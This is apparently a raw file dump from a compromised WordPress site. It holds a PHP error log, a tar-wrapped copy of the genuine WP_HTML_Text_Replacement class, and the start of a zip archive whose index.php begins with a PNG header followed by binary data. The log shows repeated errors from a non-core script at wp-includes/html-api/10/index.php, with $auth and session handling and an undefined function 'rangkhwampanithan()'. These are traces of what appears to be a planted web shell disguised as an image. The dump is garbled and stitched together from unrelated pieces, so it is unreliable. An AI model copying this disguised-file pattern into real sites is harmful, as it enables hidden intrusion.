[14-Feb-2026 05:54:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:31 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:31 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $ext in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 05:54:32 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:55:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:55:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:27 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:27 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 570
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 570
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:33 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:33 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:02:57 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 07:03:46 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:03:46 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:34 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:09:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:09:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:07 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:07 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:13 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:13 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1081
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1081
[14-Feb-2026 08:19:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
class-wp-html-text-replacement.php.tar000064400000006000151440300030013776 0ustar00home/homerdlh/public_html/wp-includes/html-api/class-wp-html-text-replacement.php000064400000002601151440277760024244 0ustar00<?php
/**
 * HTML API: WP_HTML_Text_Replacement class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor as a data structure for replacing
 * existing content from start to end, allowing to drastically improve performance.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replace `end` with `length` to more closely match `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Text_Replacement {
	/**
	 * Byte offset into document where replacement span begins.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of span being replaced.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	public $length;

	/**
	 * Span of text to insert in document to replace existing content from start to end.
	 *
	 * @since 6.2.0
	 *
	 * @var string
	 */
	public $text;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param int    $start  Byte offset into document where replacement span begins.
	 * @param int    $length Byte length of span in document being replaced.
	 * @param string $text   Span of text to insert in document to replace existing content from start to end.
	 */
	public function __construct( int $start, int $length, string $text ) {
		$this->start  = $start;
		$this->length = $length;
		$this->text   = $text;
	}
}
10.zip000064400001530653151440300030005513 0ustar00PKgN\*0��4C4C	index.phpnu�[���‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

